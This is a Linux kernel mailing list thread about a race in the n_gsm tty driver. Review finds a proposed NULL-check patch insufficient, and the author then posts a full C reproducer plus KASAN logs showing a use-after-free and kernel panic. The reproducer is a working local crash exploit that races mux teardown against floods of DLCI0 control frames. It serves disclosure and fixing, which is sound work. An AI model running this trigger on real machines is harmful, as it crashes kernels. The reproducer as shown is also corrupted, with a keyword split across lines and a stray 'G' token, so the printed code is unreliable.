* Re: [PATCH] tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers
From: Weiming Shi @ 2026-06-12 14:19 UTC (permalink / raw)
To: Greg Kroah-Hartman, Weiming Shi
Cc: Jiri Slaby, Daniel Starke, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <2026061101-hanky-uninstall-da53@gregkh>
On Fri Jun 12, 2026 at 2:50 AM CST, Greg Kroah-Hartman wrote:
> On Thu, Jun 11, 2026 at 11:32:18AM -0700, Weiming Shi wrote:
>> gsm_control_command() and gsm_control_reply() load gsm->dlci[0] and
>> immediately dereference dlci->ftype without checking it for NULL.
>>
>> On the receive path, gsm_queue() validates that gsm->dlci[0] is non-NULL
>> and DLCI_OPEN before invoking the control handler, but the value is not
>> held across that check: the receive worker runs from flush_to_ldisc()
>> without taking gsm->mutex, while a concurrent GSMIOC_SETCONF ioctl can
>> enter gsm_cleanup_mux(), which takes gsm->mutex, releases gsm->dlci[0]
>> and sets it to NULL. If the mux is torn down between gsm_queue()'s check
>> and the re-load inside gsm_control_command()/gsm_control_reply(), the
>> handler dereferences a NULL dlci.
>>
>> A peer that drives DLCI 0 control frames (e.g. CMD_TEST) while the mux
>> owner reconfigures the line discipline can therefore crash the kernel
>> (line numbers from decode_stacktrace.sh against the crashing build):
>>
>> Oops: general protection fault, probably for non-canonical address
>> KASAN: null-ptr-deref in range [0x0000000000000208-0x000000000000020f]
>> RIP: 0010:gsm_control_reply (drivers/tty/n_gsm.c:1497)
>> Call Trace:
>> gsm_dlci_command (drivers/tty/n_gsm.c:2482)
>> gsm_queue.part.0 (drivers/tty/n_gsm.c:2852)
>> gsm0_receive (drivers/tty/n_gsm.c:2972)
>> gsmld_receive_buf (drivers/tty/n_gsm.c:3629)
>> tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:391)
>> tty_port_default_receive_buf (drivers/tty/tty_port.c:39)
>> flush_to_ldisc (drivers/tty/tty_buffer.c:495)
>> process_one_work
>> worker_thread
>> kthread
>>
>> The other callers of these helpers (the keep-alive and negotiation timer
>> paths) already guard the gsm->dlci[0] access; only the receive path is
>> unguarded. The CMD_CLD handler in the same switch already checks the
>> loaded dlci for NULL for the very same reason. Bail out early when
>> gsm->dlci[0] has been cleared instead of dereferencing it.
>>
>> Triggering this requires CAP_NET_ADMIN to attach the n_gsm line
>> discipline (gsmld_open() uses capable(), not ns_capable()), so it is a
>> local denial of service for a privileged mux owner racing its own
>> control channel; harden the handlers regardless.
>>
>> Fixes: 5767712668b8 ("tty: n_gsm: cleanup gsm_control_command and gsm_control_reply")
>> Reported-by: Xiang Mei <xmei5@asu.edu>
>> Assisted-by: Claude:claude-opus-4-8
>> Signed-off-by: Weiming Shi <bestswngs@gmail.com>
>> ---
>> drivers/tty/n_gsm.c | 6 ++++++
>> 1 file changed, 6 insertions(+)
>>
>> diff --git a/drivers/tty/n_gsm.c b/drivers/tty/n_gsm.c
>> index 214abeb89aaa..860cfb91d510 100644
>> --- a/drivers/tty/n_gsm.c
>> +++ b/drivers/tty/n_gsm.c
>> @@ -1457,6 +1457,9 @@ static int gsm_control_command(struct gsm_mux *gsm, int cmd, const u8 *data,
>> struct gsm_msg *msg;
>> struct gsm_dlci *dlci = gsm->dlci[0];
>>
>> + if (!dlci)
>> + return -EINVAL;
>
> What precents dlci from being NULL right after you check this?
>
> thanks,
>
> greg k-h
Hi greg,
I'm sorry for taking so long to respond.
After a closer look I think your review is correct.
The real problem is that the receive path touches gsm->dlci[] with no
lock. The teardown side holds gsm->mutex while it releases and frees the
dlci, but the receive worker does not: gsm_queue() loads
dlci = gsm->dlci[address] while it is still valid and passes it down
through dlci->data() to gsm_control_command()/gsm_control_reply(), which
also re-read gsm->dlci[0] and dereference dlci->ftype.
Meanwhile GSMIOC_SETCONF -> gsm_cleanup_mux() takes gsm->mutex, closes
DLCI0 and drops its reference via gsm_dlci_release(); the final
tty_port_put() runs the gsm_dlci_free() destructor, which clears the slot
and frees the object:
```
dlci->gsm->dlci[dlci->addr] = NULL;
kfree(dlci);
```
If that happens while the worker is still in the dispatch above, it ends
up dereferencing the freed dlci. I can reproduce this as a use-after-free:
```
[ 997.227486][ T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
[ 997.229052][ T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
[ 997.230517][ T46]
[ 997.230952][ T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
[ 997.230958][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
[ 997.230961][ T46] Workqueue: events_unbound flush_to_ldisc
[ 997.230969][ T46] Call Trace:
[ 997.230972][ T46] <TASK>
[ 997.230974][ T46] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 997.230990][ T46] print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[ 997.231008][ T46] kasan_report (mm/kasan/report.c:595)
[ 997.231016][ T46] gsm_control_reply.isra.0 (drivers/tty/n_gsm.c:1162 drivers/tty/n_gsm.c:1494)
[ 997.231020][ T46] gsm_dlci_command (drivers/tty/n_gsm.c:1873 drivers/tty/n_gsm.c:2477)
[ 997.231036][ T46] gsmld_receive_buf (drivers/tty/n_gsm.c:3616)
[ 997.231044][ T46] tty_ldisc_receive_buf (drivers/tty/tty_buffer.c:398)
[ 997.231052][ T46] tty_port_default_receive_buf (drivers/tty/tty_port.c:37)
[ 997.231056][ T46] flush_to_ldisc (drivers/tty/tty_buffer.c:452 drivers/tty/tty_buffer.c:502)
[ 997.231066][ T46] process_one_work (kernel/workqueue.c:3314)
[ 997.231082][ T46] worker_thread (kernel/workqueue.c:3397 kernel/workqueue.c:3478)
[ 997.231091][ T46] kthread (kernel/kthread.c:436)
[ 997.231103][ T46] ret_from_fork (arch/x86/kernel/process.c:158)
[ 997.231120][ T46] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[ 997.231128][ T46] </TASK>
[ 997.231130][ T46]
[ 997.267905][ T46] Allocated by task 5110:
[ 997.268716][ T46] kasan_save_stack (mm/kasan/common.c:57)
[ 997.269595][ T46] kasan_save_track (mm/kasan/common.c:78)
[ 997.270483][ T46] __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[ 997.271353][ T46] gsm_dlci_alloc (./include/linux/slab.h:950 ./include/linux/slab.h:1188 drivers/tty/n_gsm.c:2648)
[ 997.272203][ T46] gsm_activate_mux (drivers/tty/n_gsm.c:3189)
[ 997.273109][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3443 drivers/tty/n_gsm.c:3846)
[ 997.273981][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
[ 997.274789][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[ 997.275682][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 997.276544][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 997.277658][ T46]
[ 997.278108][ T46] Freed by task 5110:
[ 997.278865][ T46] kasan_save_stack (mm/kasan/common.c:57)
[ 997.279740][ T46] kasan_save_track (mm/kasan/common.c:78)
[ 997.280615][ T46] kasan_save_free_info (mm/kasan/generic.c:584)
[ 997.281554][ T46] __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[ 997.282435][ T46] kfree (./include/linux/kasan.h:235 mm/slub.c:2689 mm/slub.c:6251 mm/slub.c:6566)
[ 997.283159][ T46] gsm_cleanup_mux (drivers/tty/n_gsm.c:2711 drivers/tty/n_gsm.c:2744 drivers/tty/n_gsm.c:3161)
[ 997.284050][ T46] gsmld_ioctl (drivers/tty/n_gsm.c:3415 drivers/tty/n_gsm.c:3846)
[ 997.284928][ T46] tty_ioctl (drivers/tty/tty_io.c:2801)
[ 997.285746][ T46] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[ 997.286653][ T46] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 997.287526][ T46] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 997.288639][ T46]
```
The NULL deref I reported is the same unguarded access on the same
path, just hitting the window after the slot is already cleared. Either
way a NULL check in the handlers can't fix it, since in the UAF case dlci
isn't NULL.
I think the fix should serialize the receive side against
gsm_cleanup_mux() instead of checking in the handlers. Two ways I can see:
1. take gsm->mutex around the dlci lookup and dispatch in gsm_queue(), or
2. pin the dlci across the dispatch using its existing tty_port ref
(dlci_get/dlci_put), so gsm_dlci_free() can't run while it's in use.
Do you have a preference, or is there a pattern in n_gsm you'd rather I
use? I'll respin v2 once I know which way to go.
And I'll send the reproducer and the config to trigger it in a separate mail.
Thanks,
Weiming
^ permalink raw reply
* Re: [PATCH] tty: n_gsm: fix NULL deref of gsm->dlci[0] in control message handlers
From: Weiming Shi @ 2026-06-12 14:22 UTC (permalink / raw)
To: Greg Kroah-Hartman, Jiri Slaby
Cc: Daniel Starke, linux-kernel, linux-serial, Xiang Mei
In-Reply-To: <20260611183217.2488508-2-bestswngs@gmail.com>
here is the reproducer and the kernel config
Setup:
required configs:
```
CONFIG_N_GSM=y
CONFIG_SMP=y
CONFIG_PREEMPT=y
CONFIG_KASAN=y
```
Reproducer:
build: gcc poc.c -o poc -lpthread -static
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <linux/tty.h>
#include <linux/gsmmux.h>
#ifndef N_GSM0710
#define N_GSM0710 21
#endif
#define GSM0_SOF 0xF9
#define ADDR_DLCI0 0x03
#define PF 0x10
#define CTRL_SABM (0x2F | PF)
#define CTRL_UIH 0xEF
#define INIT_FCS 0xFF
#define CMD_TEST_EA 0x23
static const unsigned char gsm_fcs8[256] = {
0x00,0x91,0xE3,0x72,0x07,0x96,0xE4,0x75,0x0E,0x9F,0xED,0x7C,0x09,0x98,0xEA,0x7B,
0x1C,0x8D,0xFF,0x6E,0x1B,0x8A,0xF8,0x69,0x12,0x83,0xF1,0x60,0x15,0x84,0xF6,0x67,
0x38,0xA9,0xDB,0x4A,0x3F,0xAE,0xDC,0x4D,0x36,0xA7,0xD5,0x44,0x31,0xA0,0xD2,0x43,
0x24,0xB5,0xC7,0x56,0x23,0xB2,0xC0,0x51,0x2A,0xBB,0xC9,0x58,0x2D,0xBC,0xCE,0x5F,
0x70,0xE1,0x93,0x02,0x77,0xE6,0x94,0x05,0x7E,0xEF,0x9D,0x0C,0x79,0xE8,0x9A,0x0B,
0x6C,0xFD,0x8F,0x1E,0x6B,0xFA,0x88,0x19,0x62,0xF3,0x81,0x10,0x65,0xF4,0x86,0x17,
0x48,0xD9,0xAB,0x3A,0x4F,0xDE,0xAC,0x3D,0x46,0xD7,0xA5,0x34,0x41,0xD0,0xA2,0x33,
0x54,0xC5,0xB7,0x26,0x53,0xC2,0xB0,0x21,0x5A,0xCB,0xB9,0x28,0x5D,0xCC,0xBE,0x2F,
0xE0,0x71,0x03,0x92,0xE7,0x76,0x04,0x95,0xEE,0x7F,0x0D,0x9C,0xE9,0x78,0x0A,0x9B,
0xFC,0x6D,0x1F,0x8E,0xFB,0x6A,0x18,0x89,0xF2,0x63,0x11,0x80,0xF5,0x64,0x16,0x87,
0xD8,0x49,0x3B,0xAA,0xDF,0x4E,0x3C,0xAD,0xD6,0x47,0x35,0xA4,0xD1,0x40,0x32,0xA3,
0xC4,0x55,0x27,0xB6,0xC3,0x52,0x20,0xB1,0xCA,0x5B,0x29,0xB8,0xCD,0x5C,0x2E,0xBF,
0x90,0x01,0x73,0xE2,0x97,0x06,0x74,0xE5,0x9E,0x0F,0x7D,0xEC,0x99,0x08,0x7A,0xEB,
0x8C,0x1D,0x6F,0xFE,0x8B,0x1A,0x68,0xF9,0x82,0x13,0x61,0xF0,0x85,0x14,0x66,0xF7,
0xA8,0x39,0x4B,0xDA,0xAF,0x3E,0x4C,0xDD,0xA6,0x37,0x45,0xD4,0xA1,0x30,0x42,0xD3,
0xB4,0x25,0x57,0xC6,0xB3,0x22,0x50,0xC1,0xBA,0x2B,0x59,0xC8,0xBD,0x2C,0x5E,0xCF
};
static unsigned char fcs_header(const unsigned char *p, int n){
unsigned char fcs = INIT_FCS;
for (int i=0;i<n;i++) fcs = gsm_fcs8[fcs ^ p[i]];
return 0xFF - fcs;
}
static int build_frame(unsigned char *out, unsigned char addr, unsigned char ctrl,
const unsigned char *data, int dlen){
unsigned char hdr[3]={addr,ctrl,(unsigned char)((dlen<<1)|1)};
int i=0; out[i++]=GSM0_SOF; out[i++]=addr; out[i++]=ctrl;
out[i++]=(unsigned char)((dlen<<1)|1);
for(int j=0;j<dlen;j++) out[i++]=data[j];
out[i++]=fcs_header(hdr,3); out[i++]=GSM0_SOF; return i;
}
static int gsm_fd, wire_fd;
static volatile int stop;
static int ncpu;
static unsigned char sabm_frame[16]; static int sabm_len;
static unsigned char test_frame[64]; static int test_len;
#define BATCH 64
static unsigned char batch_buf[BATCH*64]; static int batch_len;
static unsigned char reopen_buf[16 + 16*64]; static int reopen_len;
static void pin_cpu(int cpu){ cpu_set_t s; CPU_ZERO(&s); CPU_SET(cpu,&s); sched_setaffinity(0,sizeof(s),&s);}
static void nop_handler(int s){(void)s;}
static void *drain_thread(void *a){(void)a; unsigned char b[4096];
while(!stop){ ssize_t n=read(wire_fd,b,sizeof(b)); if(n<=0) sched_yield(); } return NULL;}
static void *exprace_thread(void *a){(void)a; pin_cpu(1);
setpriority(PRIO_PROCESS,0,-20); signal(SIGALRM,nop_handler);
struct itimerval t={{0,25},{0,25}}; setitimer(ITIMER_REAL,&t,NULL);
while(!stop) pause(); return NULL;}
static void *hog_thread(void *a){ long id=(long)a; int cpus[3]={0,2,3}; pin_cpu(cpus[id%3] < ncpu ? cpus[id%3] : 0);
volatile unsigned long x=0; while(!stop){ for(int i=0;i<100000;i++) x+=i; (void)x; } return NULL;}
static void setconf(int fd,int mtu){
struct gsm_config c; memset(&c,0,sizeof(c));
c.adaption=1; c.encapsulation=0; c.initiator=0;
c.mru=64; c.mtu=mtu; c.i=1; c.k=2; c.t1=1; c.t2=1; c.n2=1;
ioctl(fd,GSMIOC_SETCONF,&c);
}
static volatile unsigned long teardowns;
static int mtu_toggle;
static v
oid *teardown_thread(void *a){(void)a; pin_cpu(1);
while(!stop){
setconf(gsm_fd,(mtu_toggle++&1)?64:127);
if(write(wire_fd,reopen_buf,reopen_len)<0){}
teardowns++;
}
G return NULL;
}
int main(void){
int ldisc=N_GSM0710; pthread_t tt,ir,dr; char sname[128]; struct termios tio;
setvbuf(stdout,NULL,_IONBF,0);
ncpu = sysconf(_SC_NPROCESSORS_ONLN); if(ncpu<2) ncpu=2;
pin_cpu(0);
mkdir("/dev/pts",0755); mount("devpts","/dev/pts","devpts",0,"");
mount("devpts","/dev/pts","devpts",MS_REMOUNT,"");
wire_fd=open("/dev/ptmx",O_RDWR|O_NOCTTY); if(wire_fd<0){perror("ptmx");return 1;}
grantpt(wire_fd); unlockpt(wire_fd);
if(ptsname_r(wire_fd,sname,sizeof(sname))){perror("ptsname");return 1;}
gsm_fd=open(sname,O_RDWR|O_NOCTTY); if(gsm_fd<0){perror("open slave");return 1;}
if(tcgetattr(wire_fd,&tio)==0){cfmakeraw(&tio); tcsetattr(wire_fd,TCSANOW,&tio);}
if(ioctl(gsm_fd,TIOCSETD,&ldisc)<0){perror("TIOCSETD");return 1;}
printf("[+] n_gsm ldisc installed; ncpu=%d\n",ncpu);
setconf(gsm_fd,64);
printf("[+] mux configured (responder)\n");
sabm_len=build_frame(sabm_frame,ADDR_DLCI0,CTRL_SABM,NULL,0);
unsigned char tp[16]; tp[0]=CMD_TEST_EA; tp[1]=(8<<1)|1;
for(int i=0;i<8;i++) tp[2+i]=0x41+i;
test_len=build_frame(test_frame,ADDR_DLCI0,CTRL_UIH,tp,2+8);
batch_len=0; for(int i=0;i<BATCH;i++){memcpy(batch_buf+batch_len,test_frame,test_len); batch_len+=test_len;}
reopen_len=0; memcpy(reopen_buf,sabm_frame,sabm_len); reopen_len+=sabm_len;
for(int i=0;i<16;i++){memcpy(reopen_buf+reopen_len,test_frame,test_len); reopen_len+=test_len;}
if(write(wire_fd,sabm_frame,sabm_len)<0){}
pthread_create(&dr,NULL,drain_thread,NULL);
pthread_create(&ir,NULL,exprace_thread,NULL);
pthread_create(&tt,NULL,teardown_thread,NULL);
int nh = (ncpu>=4)?3:1; pthread_t *hogs = calloc(nh,sizeof(pthread_t));
for(long i=0;i<nh;i++) pthread_create(&hogs[i],NULL,hog_thread,(void*)i);
unsigned long w=0;
while(!stop && w<5000000000UL){
if(write(wire_fd,batch_buf,batch_len)<0){}
if((++w%200000)==0) printf("[r] flood=%lu teardowns=%lu\n",w,teardowns);
}
stop=1;
pthread_join(tt,NULL); pthread_join(ir,NULL); pthread_join(dr,NULL);
for(long i=0;i<nh;i++) pthread_join(hogs[i],NULL);
printf("[-] poc finished (flood=%lu teardowns=%lu)\n",w,teardowns);
return 0;
}
```
After a long process of competition, will see such KASAN logs.
```
root@repro:~# /tmp/exp/exploit
[+] n_gsm ldisc installed; ncpu=4
[+] mux configured (responder)
[r] flood=200000 teardowns=346
[ 92.074763][ T1263] cfg80211: failed to load regulatory.db
[r] flood=400000 teardowns=702
[r] flood=600000 teardowns=1100
[r] flood=800000 teardowns=1470
[r] flood=1000000 teardowns=1855
[r] flood=1200000 teardowns=2236
[r] flood=1400000 teardowns=2625
[r] flood=1600000 teardowns=3017
[r] flood=1800000 teardowns=3404
[r] flood=2000000 teardowns=3798
[r] flood=2200000 teardowns=4183
[r] flood=2400000 teardowns=4559
[r] flood=2600000 teardowns=4937
[r] flood=2800000 teardowns=5306
[r] flood=3000000 teardowns=5691
[r] flood=3200000 teardowns=6044
[r] flood=3400000 teardowns=6394
[r] flood=3600000 teardowns=6757
[r] flood=3800000 teardowns=7100
[r] flood=4000000 teardowns=7460
[r] flood=4200000 teardowns=7823
[r] flood=4400000 teardowns=8187
[r] flood=4600000 teardowns=8561
[r] flood=4800000 teardowns=8921
[r] flood=5000000 teardowns=9283
[r] flood=5200000 teardowns=9689
[r] flood=5400000 teardowns=10069
[r] flood=5600000 teardowns=10433
[ 997.225852][ T46] ==================================================================
[ 997.227486][ T46] BUG: KASAN: slab-use-after-free in gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.229052][ T46] Read of size 8 at addr ffff888029ae9000 by task kworker/u16:2/46
[ 997.230517][ T46]
[ 997.230952][ T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
[ 997.230958][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
[ 997.230961][ T46] Workqueue: events_unbound flush_to_ldisc
[ 997.230969][ T46] Call Trace:
[ 997.230972][ T46] <TASK>
[ 997.230974][ T46] dump_stack_lvl+0x78/0xe0
[ 997.230990][ T46] print_report+0xf7/0x600
[ 997.230996][ T46] ? gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.230999][ T46] ? __virt_addr_valid+0x22c/0x420
[ 997.231005][ T46] ? gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.231008][ T46] kasan_report+0xe4/0x120
[ 997.231012][ T46] ? gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.231016][ T46] gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.231020][ T46] gsm_dlci_command+0x8ab/0x16f0
[ 997.231024][ T46] ? __pfx_gsm_dlci_command+0x10/0x10
[ 997.231028][ T46] ? tty_buffer_free+0x100/0x200
[ 997.231032][ T46] ? gsm_queue+0x1f4/0x750
[ 997.231036][ T46] gsmld_receive_buf+0x170/0x270
[ 997.231040][ T46] ? tty_buffer_free+0x1ae/0x200
[ 997.231044][ T46] tty_ldisc_receive_buf+0xfd/0x1d0
[ 997.231048][ T46] ? tty_ldisc_ref+0x19/0x70
[ 997.231052][ T46] tty_port_default_receive_buf+0x5e/0x90
[ 997.231056][ T46] flush_to_ldisc+0x1dc/0x7a0
[ 997.231061][ T46] ? rcu_is_watching+0x12/0xc0
[ 997.231066][ T46] process_one_work+0x8fb/0x1c20
[ 997.231073][ T46] ? __pfx_process_one_work+0x10/0x10
[ 997.231078][ T46] ? __pfx_flush_to_ldisc+0x10/0x10
[ 997.231082][ T46] worker_thread+0x528/0xeb0
[ 997.231088][ T46] ? __pfx_worker_thread+0x10/0x10
[ 997.231091][ T46] kthread+0x30d/0x400
[ 997.231096][ T46] ? _raw_spin_unlock_irq+0x23/0x50
[ 997.231100][ T46] ? __pfx_kthread+0x10/0x10
[ 997.231103][ T46] ret_from_fork+0x5fb/0xa10
[ 997.231108][ T46] ? __pfx_ret_from_fork+0x10/0x10
[ 997.231112][ T46] ? __switch_to+0x57f/0xe20
[ 997.231117][ T46] ? __pfx_kthread+0x10/0x10
[ 997.231120][ T46] ret_from_fork_asm+0x1a/0x30
[ 997.231128][ T46] </TASK>
[ 997.231130][ T46]
[ 997.267905][ T46] Allocated by task 5110:
[ 997.268716][ T46] kasan_save_stack+0x33/0x60
[ 997.269595][ T46] kasan_save_track+0x14/0x30
[ 997.270483][ T46] __kasan_kmalloc+0xaa/0xb0
[ 997.271353][ T46] gsm_dlci_alloc+0x45/0x780
[ 997.272203][ T46] gsm_activate_mux+0x12/0x220
[ 997.273109][ T46] gsmld_ioctl+0x92f/0x13d0
[ 997.273981][ T46] tty_ioctl+0x8f4/0x1250
[ 997.274789][ T46] __x64_sys_ioctl+0x134/0x1c0
[ 997.275682][ T46] do_syscall_64+0x116/0x7d0
[ 997.276544][ T46] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 997.277658][ T46]
[ 997.278108][ T46] Freed by task 5110:
[ 997.278865][ T46] kasan_save_stack+0x33/0x60
[ 997.279740][ T46] kasan_save_track+0x14/0x30
[ 997.280615][ T46] kasan_save_free_info+0x3b/0x60
[ 997.281554][ T46] __kasan_slab_free+0x5f/0x80
[ 997.282435][ T46] kfree+0x2e3/0x6c0
[ 997.283159][ T46] gsm_cleanup_mux+0x2b9/0x7a0
[ 997.284050][ T46] gsmld_ioctl+0x642/0x13d0
[ 997.284928][ T46] tty_ioctl+0x8f4/0x1250
[ 997.285746][ T46] __x64_sys_ioctl+0x134/0x1c0
[ 997.286653][ T46] do_syscall_64+0x116/0x7d0
[ 997.287526][ T46] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 997.288639][ T46]
[ 997.289071][ T46] The buggy address belongs to the object at ffff888029ae9000
[ 997.289071][ T46] which belongs to the cache kmalloc-2k of size 2048
[ 997.291693][ T46] The buggy address is located 0 bytes inside of
[ 997.291693][ T46] freed 2048-byte region [ffff888029ae9000, ffff888029ae9800)
[ 997.294229][ T46]
[ 997.294696][ T46] The buggy address belongs to the physical page:
[ 997.295885][ T46] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x29ae8
[ 997.297505][ T46] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 997.299083][ T46] flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
[ 997.300489][ T46] page_type: f5(slab)
[ 997.301222][ T46] raw: 00fff00000000040 ffff888019c42f00 dead000000000100 dead000000000122
[ 997.302818][ T46] raw: 0000000000000000 0000000800080008 00000000f5000000 0000000000000000
[ 997.304404][ T46] head: 00fff00000000040 ffff888019c42f00 dead000000000100 dead000000000122
[ 997.305999][ T46] head: 0000000000000000 0000000800080008 00000000f5000000 0000000000000000
[ 997.307589][ T46] head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[ 997.309183][ T46] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
[ 997.310741][ T46] page dumped because: kasan: bad access detected
[ 997.311895][ T46] page_owner tracks the page as allocated
[ 997.312927][ T46] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP7
[ 997.316667][ T46] post_alloc_hook+0xfc/0x120
[ 997.317525][ T46] get_page_from_freelist+0x75b/0x3220
[ 997.318514][ T46] __alloc_frozen_pages_noprof+0x27e/0x2b00
[ 997.319584][ T46] new_slab+0xa6/0x670
[ 997.320353][ T46] refill_objects+0x278/0x420
[ 997.321200][ T46] __pcs_replace_empty_main+0x2ed/0x640
[ 997.322198][ T46] __kmalloc_cache_noprof+0x576/0x6e0
[ 997.323176][ T46] tty_register_device_attr+0x1e6/0x790
[ 997.324185][ T46] gsm_activate_mux+0x101/0x220
[ 997.325064][ T46] gsmld_ioctl+0x92f/0x13d0
[ 997.325893][ T46] tty_ioctl+0x8f4/0x1250
[ 997.326674][ T46] __x64_sys_ioctl+0x134/0x1c0
[ 997.327569][ T46] do_syscall_64+0x116/0x7d0
[ 997.328411][ T46] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 997.329511][ T46] page last free pid 36 tgid 36 stack trace:
[ 997.330590][ T46] __free_frozen_pages+0x763/0xfc0
[ 997.331513][ T46] qlist_free_all+0x47/0xf0
[ 997.332341][ T46] kasan_quarantine_reduce+0x195/0x1e0
[ 997.333329][ T46] __kasan_slab_alloc+0x69/0x90
[ 997.334218][ T46] kmem_cache_alloc_lru_noprof+0x23f/0x6d0
[ 997.335299][ T46] __d_alloc+0x30/0x9e0
[ 997.336062][ T46] d_alloc+0x43/0x1d0
[ 997.336802][ T46] lookup_one_qstr_excl+0xf6/0x1d0
[ 997.337736][ T46] filename_create+0x195/0x360
[ 997.338625][ T46] start_creating_path+0x2f/0x50
[ 997.339516][ T46] devtmpfs_work_loop+0xea/0xbe0
[ 997.340430][ T46] devtmpfsd+0x2e/0x30
[ 997.341168][ T46] kthread+0x30d/0x400
[ 997.341938][ T46] ret_from_fork+0x5fb/0xa10
[ 997.342773][ T46] ret_from_fork_asm+0x1a/0x30
[ 997.343641][ T46]
[ 997.344094][ T46] Memory state around the buggy address:
[ 997.345104][ T46] ffff888029ae8f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 997.346571][ T46] ffff888029ae8f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 997.348038][ T46] >ffff888029ae9000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 997.349516][ T46] ^
[ 997.350248][ T46] ffff888029ae9080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 997.351699][ T46] ffff888029ae9100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 997.353151][ T46] ==================================================================
[ 997.360386][ T46] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 997.361687][ T46] CPU: 1 UID: 0 PID: 46 Comm: kworker/u16:2 Not tainted 7.1.0-rc7 #1 PREEMPT(full)
[ 997.363387][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-4
[ 997.365572][ T46] Workqueue: events_unbound flush_to_ldisc
[ 997.366642][ T46] Call Trace:
[ 997.367253][ T46] <TASK>
[ 997.367794][ T46] vpanic+0x6be/0x790
[ 997.368519][ T46] ? __pfx_vpanic+0x10/0x10
[ 997.369344][ T46] ? gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.370382][ T46] panic+0xc5/0xd0
[ 997.371056][ T46] ? __pfx_panic+0x10/0x10
[ 997.371887][ T46] ? preempt_schedule_common+0x42/0xc0
[ 997.372877][ T46] ? preempt_schedule_thunk+0x16/0x30
[ 997.373855][ T46] check_panic_on_warn+0x5c/0x80
[ 997.374749][ T46] end_report+0x13e/0x180
[ 997.375567][ T46] kasan_report+0xf4/0x120
[ 997.376377][ T46] ? gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.377406][ T46] gsm_control_reply.isra.0+0x1b6/0x1d0
[ 997.378417][ T46] gsm_dlci_command+0x8ab/0x16f0
[ 997.379312][ T46] ? __pfx_gsm_dlci_command+0x10/0x10
[ 997.380279][ T46] ? tty_buffer_free+0x100/0x200
[ 997.381192][ T46] ? gsm_queue+0x1f4/0x750
[ 997.381997][ T46] gsmld_receive_buf+0x170/0x270
[ 997.382886][ T46] ? tty_buffer_free+0x1ae/0x200
[ 997.383791][ T46] tty_ldisc_receive_buf+0xfd/0x1d0
[ 997.384736][ T46] ? tty_ldisc_ref+0x19/0x70
[ 997.385594][ T46] tty_port_default_receive_buf+0x5e/0x90
[ 997.386645][ T46] flush_to_ldisc+0x1dc/0x7a0
[ 997.387505][ T46] ? rcu_is_watching+0x12/0xc0
[ 997.388447][ T46] process_one_work+0x8fb/0x1c20
[ 997.389348][ T46] ? __pfx_process_one_work+0x10/0x10
[ 997.390338][ T46] ? __pfx_flush_to_ldisc+0x10/0x10
[ 997.391278][ T46] worker_thread+0x528/0xeb0
[ 997.392108][ T46] ? __pfx_worker_thread+0x10/0x10
[ 997.393052][ T46] kthread+0x30d/0x400
[ 997.393808][ T46] ? _raw_spin_unlock_irq+0x23/0x50
[ 997.394750][ T46] ? __pfx_kthread+0x10/0x10
